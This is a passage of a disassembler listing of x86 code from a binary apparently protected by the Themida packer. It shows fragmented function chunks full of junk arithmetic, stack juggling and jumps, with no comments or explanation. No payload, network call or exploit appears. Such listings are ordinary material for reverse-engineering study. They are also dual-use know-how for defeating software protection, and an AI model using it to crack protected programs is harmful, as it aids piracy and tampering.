jmp loc_570FF5
; END OF FUNCTION CHUNK FOR sub_5653AD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_565890: ; CODE XREF: sub_569CBC+67B3j
pop [esp+14h+var_14]
mov esp, [esp+10h+var_10]
jmp loc_5752AB
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B71F
loc_56589B: ; CODE XREF: sub_56B71F-2EFBj
pop edx
sub ebx, eax
jmp loc_56E38B
; END OF FUNCTION CHUNK FOR sub_56B71F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572641
loc_5658A3: ; CODE XREF: sub_572641-4B56j
xor bl, 94h
xor bl, 0D6h
add al, 0C0h
jmp loc_569E95
; END OF FUNCTION CHUNK FOR sub_572641
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_5658B0: ; CODE XREF: sub_564D26+1F58j
push 48AB65C7h
mov ebp, [esp+20h+var_20]
push edi
mov edi, esp
jmp loc_563216
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_5658C0: ; CODE XREF: sub_57354D-1909j
mov eax, [esp+8+var_8]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ch+var_C]
pop esp
push esi
mov esi, esp
add esi, 4
jmp loc_56E855
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56AB51
loc_5658E4: ; CODE XREF: sub_56AB51+7243j
mov fs:[edx], al
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_56AB51
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574DC1
loc_5658EC: ; CODE XREF: sub_574DC1-99C9j
add eax, ebp
push ecx
jmp loc_574F40
; END OF FUNCTION CHUNK FOR sub_574DC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56DD54
loc_5658F4: ; CODE XREF: sub_56DD54-19CAj
pop [esp-4+arg_0]
mov esp, [esp-8+arg_4]
add edi, edx
jmp loc_56850A
; END OF FUNCTION CHUNK FOR sub_56DD54
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564686
loc_565901: ; CODE XREF: sub_564686+C873j
mov ebp, esp
add ebp, 4
add ebp, 4
push 1DF0h
mov [esp+8+var_8], ebp
push [esp+8+var_4]
pop ebp
pop [esp+8+var_8]
mov esp, [esp+4+var_4]
xchg ecx, [esp+0]
jmp loc_565488
; END OF FUNCTION CHUNK FOR sub_564686
; =============== S U B R O U T I N E =======================================
sub_56592A proc near ; DATA XREF: Themida_:0055FF04o
mov cx, [esp+0]
jmp sub_56E05C
sub_56592A endp
; ---------------------------------------------------------------------------
loc_565933: ; CODE XREF: Themida_:005671ADj
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
sar byte ptr [esp], cl
pushf
jmp loc_55FF9F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_565945: ; CODE XREF: sub_571C93-10488j
mov [esp+8+var_8], ecx
push ebx
jmp loc_56654C
; END OF FUNCTION CHUNK FOR sub_571C93
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570B3C
loc_56594E: ; CODE XREF: sub_570B3C-3371j
add esp, 4
; END OF FUNCTION CHUNK FOR sub_570B3C
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_565954: ; CODE XREF: sub_56B06D+259Ej
push eax
mov eax, 626D205Ch
sub eax, 1
push ebx
sub esp, 4
mov [esp+18h+var_18], ebp
jmp loc_564DFB
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57354D
loc_56596B: ; CODE XREF: sub_57354D-129CEj
push eax
jmp loc_56697A
; END OF FUNCTION CHUNK FOR sub_57354D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563207
loc_565971: ; CODE XREF: sub_563207+ED39j
add ebp, 14682E63h
xor ebp, 696538C5h
sub ebp, 6D5235FCh
sub esp, 4
mov [esp+10h+var_10], ebp
not [esp+10h+var_10]
jmp loc_5672C9
; END OF FUNCTION CHUNK FOR sub_563207
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FAE2
loc_565991: ; CODE XREF: sub_56FAE2+10j
push eax
mov eax, 2D530D76h
mov edx, 33847F96h
jmp loc_56907A
; END OF FUNCTION CHUNK FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C0A
loc_5659A1: ; CODE XREF: sub_571C0A-936Fj
add esi, 4
push ebx
push ebp
mov ebp, 7A700DF5h
mov ebx, 7A700DF9h
jmp loc_574BE1
; END OF FUNCTION CHUNK FOR sub_571C0A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56616D
loc_5659B8: ; CODE XREF: sub_56616D-432Ej
pop esi
and ecx, 1D472216h
push edx
mov edx, 51986FD4h
xor ecx, edx
pop edx
add eax, ecx
mov ecx, [esp-8+arg_4]
jmp loc_563030
; END OF FUNCTION CHUNK FOR sub_56616D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561027
loc_5659D2: ; CODE XREF: sub_561027+ACEEj
add [edx], esi
mov edx, [esp+18h+var_18]
add esp, 4
jmp loc_56CE64
; END OF FUNCTION CHUNK FOR sub_561027
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57523A
loc_5659E2: ; CODE XREF: sub_57523A-2157j
sub edi, 0B7F2A3Bh
add edi, 7B9E311Ah
add edi, 233D0451h
jmp loc_56F202
; END OF FUNCTION CHUNK FOR sub_57523A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CFE
loc_5659F9: ; CODE XREF: sub_567CFE+9D75j
mov eax, 636E169Ch
inc eax
add eax, 0FFFFFFFFh
jmp loc_55FFB8
; END OF FUNCTION CHUNK FOR sub_567CFE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_565A07: ; CODE XREF: sub_56FD97-49E6j
mov edx, [esp+8+var_8]
add esp, 4
jmp loc_560145
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D455
loc_565A15: ; CODE XREF: sub_56D455+Aj
mov [esp+4+var_4], ebx
mov ebx, esp
add ebx, 4
push 100h
mov [esp+8+var_8], eax
mov eax, 48607F32h
jmp sub_566B37
; END OF FUNCTION CHUNK FOR sub_56D455
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564EBE
loc_565A32: ; CODE XREF: sub_564EBE-1DEBj
neg ecx
inc ecx
jmp loc_56C695
; END OF FUNCTION CHUNK FOR sub_564EBE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_565A3A: ; CODE XREF: sub_56FB8A-71D4j
pop ebx
jmp loc_56A729
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5747D7
loc_565A40: ; CODE XREF: sub_5747D7-5ED2j
mov eax, [esp+4+var_4]
push eax
jmp loc_564566
; END OF FUNCTION CHUNK FOR sub_5747D7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BD44
loc_565A49: ; CODE XREF: sub_56BD44-8189j
xor ebx, 3A793024h
add eax, ebx
pop ebx
sub esp, 4
mov [esp+0], edi
push 2
push [esp+4+var_4]
pop edi
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
push 44F0h
jmp loc_562007
; END OF FUNCTION CHUNK FOR sub_56BD44
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5680FB
loc_565A7A: ; CODE XREF: sub_5680FB+1A14j
mov ebx, esp
add ebx, 4
jmp loc_56B907
; END OF FUNCTION CHUNK FOR sub_5680FB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567049
loc_565A87: ; CODE XREF: sub_567049+A3AEj
xor [esp+0], ebp
pop dword ptr [edi+24h]
; END OF FUNCTION CHUNK FOR sub_567049
; =============== S U B R O U T I N E =======================================
sub_565A8D proc near ; CODE XREF: sub_57354D-1669j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00565D60 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005686BE SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005699DA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00569D16 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056C3D4 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056CAAA SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056CF72 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DDD3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056FF14 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005709F6 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572199 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057516F SIZE 00000019 BYTES
sub esp, 4
mov [esp+4+var_4], ebx
push 3943h
mov [esp+8+var_8], esp
jmp loc_56DDD3
sub_565A8D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_565AA0: ; CODE XREF: sub_569CBC+7EF0j
mov edi, esp
add edi, 4
jmp loc_569E71
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5685B2
loc_565AAD: ; CODE XREF: sub_5685B2+44B9j
pop ecx
pop ebp
mov ebp, esi
push [esp+4+var_4]
pop esi
add esp, 4
xor ebp, edi
jmp loc_56844E
; END OF FUNCTION CHUNK FOR sub_5685B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5631A3
loc_565ABF: ; CODE XREF: sub_5631A3+8CDFj
add dword ptr [esp+4], 13C935A6h
push [esp+4+var_4]
pop edi
push edi
mov edi, esp
add edi, 4
add edi, 4
push edi
jmp loc_560432
; END OF FUNCTION CHUNK FOR sub_5631A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_565ADD: ; CODE XREF: sub_567CF5+9372j
sub edx, 4
xchg edx, [esp+4+var_4]
mov esp, [esp+4+var_4]
mov [esp-4+arg_0], esi
push 527Ch
mov [esp+0], esp
jmp loc_568002
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FA15
loc_565AF6: ; CODE XREF: sub_56FA15+4D95j
push dx
push edx
jmp loc_5748B2
; END OF FUNCTION CHUNK FOR sub_56FA15
; =============== S U B R O U T I N E =======================================
sub_565AFE proc near ; CODE XREF: sub_56DFF9-9B7Ej
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_8 = word ptr 0Ch
; FUNCTION CHUNK AT 00563B56 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00563FE0 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00564E36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00573430 SIZE 00000011 BYTES
push ebx
mov ebx, 0DD77A261h
sub ecx, 1DEB639Fh
add ecx, 350D0166h
add ecx, ebx
push ebx
mov ebx, 350D0166h
sub ecx, ebx
pop ebx
add ecx, 1DEB639Fh
mov ebx, [esp+0]
add esp, 4
sub edx, 5565240Ah
push edi
jmp loc_564E36
sub_565AFE endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567D31
loc_565B36: ; CODE XREF: sub_567D31-77C0j
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop [esp+4+var_4]
pop esp
or eax, eax
jz loc_574BEB
push dword ptr [edi+1Ch]
sub dword ptr [esp+0], 1DE718D2h
pop ecx
jmp loc_565256
; END OF FUNCTION CHUNK FOR sub_567D31
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_57146D
loc_565B5B: ; CODE XREF: sub_57146D-87BFj
pop eax
pop ebx
add bl, 75h
add bl, dl
sub bl, 75h
push dword ptr [esp+0]
pop edx
jmp loc_56A4BD
; END OF FUNCTION CHUNK FOR sub_57146D
; =============== S U B R O U T I N E =======================================
sub_565B6E proc near ; CODE XREF: sub_56628B+9A96j
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 00563F1E SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005648B0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00565854 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056866E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056C771 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056EF01 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056F649 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00570D89 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00570E58 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00571F68 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005727C4 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00574794 SIZE 00000006 BYTES
push ebp
mov ebp, 5510403h
sub eax, ebp
pop ebp
sub esp, 4
mov [esp+4+var_4], esi
mov esi, 0F186F18h
sub eax, esi
pop esi
add eax, ecx
add eax, 0F186F18h
add eax, 5510403h
mov ecx, [esp+0]
jmp loc_574794
sub_565B6E endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_565B9C: ; CODE XREF: sub_569CBC-3FCDj
sub esi, ecx
sub esi, 3C714A4h
pop ecx
add esi, eax
push 57DBh
mov [esp+0], ebx
mov ebx, 27E32E8Bh
shl ebx, 2
jmp loc_5641F9
; END OF FUNCTION CHUNK FOR sub_569CBC
; =============== S U B R O U T I N E =======================================
sub_565BBC proc near ; DATA XREF: Themida_:0055FE5Co
pop dword ptr [edx]
jmp loc_55FF9F
sub_565BBC endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_565BC3: ; CODE XREF: Themida_:0056CB12j
xor ebx, 57290402h
dec ebx
neg ebx
xor ebx, 658D349Eh
sub ebx, 0B2F9DEC5h
add edx, ebx
jmp loc_5674F1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567866
loc_565BDF: ; CODE XREF: sub_567866-3E0Bj
pop eax
sub eax, edi
pop edi
push dword ptr [esp+0]
pop edi
jmp loc_56DED5
; END OF FUNCTION CHUNK FOR sub_567866
; ---------------------------------------------------------------------------
loc_565BEC: ; CODE XREF: Themida_:00569792j
pop eax
add dword ptr [esp], 97E26D0h
push edx
jmp loc_568036
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56CC46
loc_565BFA: ; CODE XREF: sub_56CC46+46D7j
mov esp, [esp+0Ch+var_C]
push edx
jmp loc_5602AF
; END OF FUNCTION CHUNK FOR sub_56CC46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BC97
loc_565C03: ; CODE XREF: sub_56BC97-544j
push eax
mov eax, 4
add ecx, eax
mov eax, [esp+8+var_8]
add esp, 4
add ecx, 4
xor ecx, [esp+4+var_4]
xor [esp+4+var_4], ecx
jmp loc_573013
; END OF FUNCTION CHUNK FOR sub_56BC97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5684A6
loc_565C22: ; CODE XREF: sub_5684A6+50A9j
xor [esp+4+var_4], esi
jmp loc_571541
; END OF FUNCTION CHUNK FOR sub_5684A6
; ---------------------------------------------------------------------------
loc_565C2A: ; CODE XREF: Themida_:00563A4Fj
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push dword ptr [esp+4]
mov edx, [esp]
add esp, 4
pop dword ptr [esp]
mov esp, [esp]
and [esp], ax
pushf
jmp loc_56F1A4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572D45
loc_565C59: ; CODE XREF: sub_572D45+10j
add esp, 4
push esi
push eax
mov eax, 4911407h
jmp loc_562474
; END OF FUNCTION CHUNK FOR sub_572D45
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569193
loc_565C6B: ; CODE XREF: sub_569193+B870j
xor [esp+0Ch+var_C], edx
xor edx, [esp+0Ch+var_C]
jmp loc_570352
; END OF FUNCTION CHUNK FOR sub_569193
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_565C76: ; CODE XREF: sub_56E126-95D1j
mov esi, 0C564E19h
jmp loc_5624F5
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B06D
loc_565C80: ; CODE XREF: sub_56B06D+99F2j
mov eax, 6D010B9h
shl eax, 5
xchg eax, ecx
not ecx
xchg eax, ecx
or eax, 45AA4E86h
inc eax
add eax, 21A0346Eh
add eax, 0A88EF359h
add ecx, eax
push [esp+18h+var_18]
pop eax
add esp, 4
sub ecx, 59BE033Ch
jmp loc_56D61F
; END OF FUNCTION CHUNK FOR sub_56B06D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571C93
loc_565CB0: ; CODE XREF: sub_571C93+1732j
add ebx, esi
jmp loc_575229
; END OF FUNCTION CHUNK FOR sub_571C93
; =============== S U B R O U T I N E =======================================
sub_565CB7 proc near ; DATA XREF: Themida_:0055FE94o
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], edi
jmp sub_568D9E
sub_565CB7 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560C12
loc_565CC2: ; CODE XREF: sub_560C12+B353j
pop edi
push edx
push esp
jmp loc_567FB6
; END OF FUNCTION CHUNK FOR sub_560C12
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D3B7
loc_565CCA: ; CODE XREF: sub_56D3B7-38DFj
mov esp, [esp+14h+var_14]
shl ebx, 2
add ebx, 3B4FE5ECh
jmp sub_566DC7
; END OF FUNCTION CHUNK FOR sub_56D3B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569CBC
loc_565CDB: ; CODE XREF: sub_569CBC+9C5Dj
mov [esp+0], ecx
mov ecx, 1D33481Bh
xor ecx, 36885797h
add esi, 3C714A4h
jmp loc_565B9C
; END OF FUNCTION CHUNK FOR sub_569CBC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564D26
loc_565CF4: ; CODE XREF: sub_564D26+4C20j
push 6C73088Bh
jmp loc_5670CD
; END OF FUNCTION CHUNK FOR sub_564D26
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56241E
loc_565CFE: ; CODE XREF: sub_56241E+7DBj
push edx
mov dx, 6F43h
push ebx
mov bx, dx
mov cx, bx
pop ebx
pop edx
push ebp
mov bp, 6D2Ch
sub bp, 67B6h
sub cx, bp
pop ebp
sub cx, 1F9Ch
push edi
mov di, 6FACh
shl di, 3
sub di, 7AF2h
sub cx, di
pop edi
jmp loc_560760
; END OF FUNCTION CHUNK FOR sub_56241E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574304
loc_565D36: ; CODE XREF: sub_574304-6DAEj
sub ebx, 3AD63844h
push [esp+4+var_4]
pop ebp
add esp, 4
sub ebx, 4
xchg ebx, [esp+0]
jmp loc_56661F
; END OF FUNCTION CHUNK FOR sub_574304
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568E5C
loc_565D4E: ; CODE XREF: sub_568E5C+6B48j
pop ebp
inc ecx
xor ecx, 284068E3h
add eax, 40DC6BB8h
jmp loc_5679F8
; END OF FUNCTION CHUNK FOR sub_568E5C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565A8D
loc_565D60: ; CODE XREF: sub_565A8D+3F4Fj
add ecx, 4
sub ecx, 4
xchg ecx, [esp+8+var_8]
pop esp
mov [esp+4+var_4], eax
sub esp, 4
mov [esp+8+var_8], edx
mov edx, 593A7F7Ch
sub edx, 593A7F78h
mov eax, edx
jmp loc_56CF72
; END OF FUNCTION CHUNK FOR sub_565A8D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561418
loc_565D8B: ; CODE XREF: sub_561418+13E8Ej
push 79397B88h
mov ebx, [esp+1Ch+var_1C]
add esp, 4
push 643Ch
jmp loc_56BBAB
; END OF FUNCTION CHUNK FOR sub_561418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_573167
loc_565DA0: ; CODE XREF: sub_573167-A148j
mov [esp+8+var_8], edx
push ecx
push 63997B84h
jmp loc_5735F9
; END OF FUNCTION CHUNK FOR sub_573167
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574949
loc_565DAE: ; CODE XREF: sub_574949-120FAj
xor eax, esi
xor esi, eax
jmp loc_56DD5F
; END OF FUNCTION CHUNK FOR sub_574949
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567F6F
loc_565DB7: ; CODE XREF: sub_567F6F+4j
jmp loc_55FF9F
; END OF FUNCTION CHUNK FOR sub_567F6F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_560CF1
loc_565DBC: ; CODE XREF: sub_560CF1+F654j
xor eax, ecx
push eax
sub esp, 4
mov [esp+8+var_8], edi
push [esp+8+var_8]
pop eax
add esp, 4
jmp loc_56619E
; END OF FUNCTION CHUNK FOR sub_560CF1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_574896
loc_565DD1: ; CODE XREF: sub_574896-2489j
mov [esp-4+arg_0], eax
mov eax, esp
jmp loc_567258
; END OF FUNCTION CHUNK FOR sub_574896
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5620B7
loc_565DDB: ; CODE XREF: sub_5620B7+F0Aj
add bh, cl
mov ecx, [esp+4+var_6+2]
add esp, 4
neg bh
push ecx
push edx
push 2597h
mov [esp+0], eax
mov al, 67h
and al, 6Bh
jmp loc_5710FC
; END OF FUNCTION CHUNK FOR sub_5620B7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5678CB
loc_565DF8: ; CODE XREF: sub_5678CB+71D5j
mov esp, [esp+8+var_A+2]
mov [esp+8+var_A+2], eax
jmp loc_5685EC
; END OF FUNCTION CHUNK FOR sub_5678CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FD97
loc_565E03: ; CODE XREF: sub_56FD97-20A9j
or ebp, 42363D24h
sub esp, 4
jmp loc_56089C
; ---------------------------------------------------------------------------
loc_565E14: ; CODE XREF: sub_56FD97-D368j
push [esp+8+var_8]
pop esi
add esp, 4
sub eax, 6A83100Fh
jmp loc_56DCDA
; END OF FUNCTION CHUNK FOR sub_56FD97
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569FB8
loc_565E25: ; CODE XREF: sub_569FB8+21D7j
push ecx
mov ecx, esp
jmp loc_575160
; END OF FUNCTION CHUNK FOR sub_569FB8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_565E2D: ; CODE XREF: sub_563A7F+1104j
push edx
mov dh, 0D8h
mov bh, dh
pop edx
jmp loc_573CA3
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56FB8A
loc_565E38: ; CODE XREF: sub_56FB8A+6j
add eax, ebp
pop ebp
add eax, 292A3717h
sub eax, 2F911C0Dh
pop ebp
sub esp, 4
mov [esp+0], ebx
push esi
mov esi, 4DB5145Dh
push edx
mov edx, 76A4B0Ah
and edx, 5121395Ah
inc edx
jmp loc_56899F
; END OF FUNCTION CHUNK FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563A7F
loc_565E64: ; CODE XREF: sub_563A7F+11224j
mov ebx, esp
push ebp
mov ebp, 0B070C6Dh
jmp loc_56DFD3
; END OF FUNCTION CHUNK FOR sub_563A7F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56306E
loc_565E71: ; CODE XREF: sub_56306E+59A9j
add ecx, 1025252h
pop eax
jmp sub_56959A
; END OF FUNCTION CHUNK FOR sub_56306E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5690E8
loc_565E7D: ; CODE XREF: sub_5690E8+A25Cj
inc ebx
jmp loc_5664ED
; END OF FUNCTION CHUNK FOR sub_5690E8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5606E3
loc_565E83: ; CODE XREF: sub_5606E3+8D7Fj
add esi, eax
sub esi, 1FAF11D8h
pop eax
xor esi, [esp+0]
xor [esp+0], esi
xor esi, [esp+0]
mov esp, [esp+0]
push 28DCh
mov [esp+0], esi
jmp loc_5642D5
; END OF FUNCTION CHUNK FOR sub_5606E3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_565EA5: ; CODE XREF: sub_571088+13D5j
add esp, 4
not bl
inc bl
inc bl
sub bl, 0AAh
jmp loc_56423D
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5638E4
loc_565EB9: ; CODE XREF: sub_5638E4+106Aj
sub edi, 34463780h
shl edi, 6
neg edi
xor edi, 0E74DD656h
jmp loc_575404
; END OF FUNCTION CHUNK FOR sub_5638E4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_571088
loc_565ECF: ; CODE XREF: sub_571088+3BDAj
mov bl, 8Ah
sub bl, 1
sub bl, 0F7h
push ecx
push eax
mov al, 55h
mov cl, al
pop eax
dec cl
jmp loc_560446
; END OF FUNCTION CHUNK FOR sub_571088
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E126
loc_565EE5: ; CODE XREF: sub_56E126+292Aj
pop edi
jmp loc_56F761
; END OF FUNCTION CHUNK FOR sub_56E126
; ---------------------------------------------------------------------------
loc_565EEB: ; CODE XREF: Themida_:00569C2Aj
add dword ptr [esp+4], 3BF8619Dh
sub [esp+4], ecx
sub dword ptr [esp+4], 3BF8619Dh
pop ecx
sub dword ptr [esp], 606B569Eh
jmp loc_56BA1D
; ---------------------------------------------------------------------------
loc_565F0C: ; CODE XREF: Themida_:00561699j
push 650Bh
jmp loc_5666BA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5687A3
loc_565F16: ; CODE XREF: sub_5687A3+7503j
mov ecx, 3962AD3h
push eax
mov eax, 46F505A5h
dec eax
xor eax, 696B051Bh
jmp loc_566F96
; END OF FUNCTION CHUNK FOR sub_5687A3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570FB7
loc_565F2C: ; CODE XREF: sub_570FB7+15j
and eax, ebx
mov ebx, [esp+8+var_8]
push edi
jmp loc_57369F
; END OF FUNCTION CHUNK FOR sub_570FB7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56C7AA
loc_565F37: ; CODE XREF: sub_56C7AA+6A33j
mov ebx, 39E64095h
add esi, 462F25BEh
sub esi, ebx
sub esi, 462F25BEh
jmp loc_56ACFD
; END OF FUNCTION CHUNK FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5692D3
loc_565F4F: ; CODE XREF: sub_5692D3+907Aj
mov esi, [esp+0Ch+var_C]
add esp, 4
jmp loc_572552
; END OF FUNCTION CHUNK FOR sub_5692D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_567CF5
loc_565F5A: ; CODE XREF: sub_567CF5+2771j
pop ecx
push eax
mov eax, 7C33CBFh
jmp loc_56E6B3
; END OF FUNCTION CHUNK FOR sub_567CF5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5750DE
loc_565F66: ; CODE XREF: sub_5750DE-D10j
mov eax, esp
push ecx
push edx
jmp loc_56DCA2
; END OF FUNCTION CHUNK FOR sub_5750DE
; ---------------------------------------------------------------------------
loc_565F6F: ; CODE XREF: Themida_:0056C107j
pop ebx
push ebp
push edx
mov edx, 4
mov ebp, edx
mov edx, [esp]
push ebx
jmp loc_56CDCB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_569E1B
loc_565F82: ; CODE XREF: sub_569E1B-969Ej
mov [esp+0], cx
sub esp, 4
mov [esp+2+var_4+2], edx
mov dl, 0C8h
mov cl, dl
mov edx, [esp+2+var_4+2]
jmp loc_56BD1A
; END OF FUNCTION CHUNK FOR sub_569E1B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_572DD7
loc_565F98: ; CODE XREF: sub_572DD7-6DCEj
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+8+var_8]
pop esp
push 78F2h
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
sub esi, 4
xchg esi, [esp+8+var_8]
pop esp
mov [esp+4+var_4], edx
mov edx, 18725E8Bh
jmp loc_571FD7
; END OF FUNCTION CHUNK FOR sub_572DD7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1B8
loc_565FCB: ; CODE XREF: sub_56E1B8+1503j
jmp loc_55FF9F
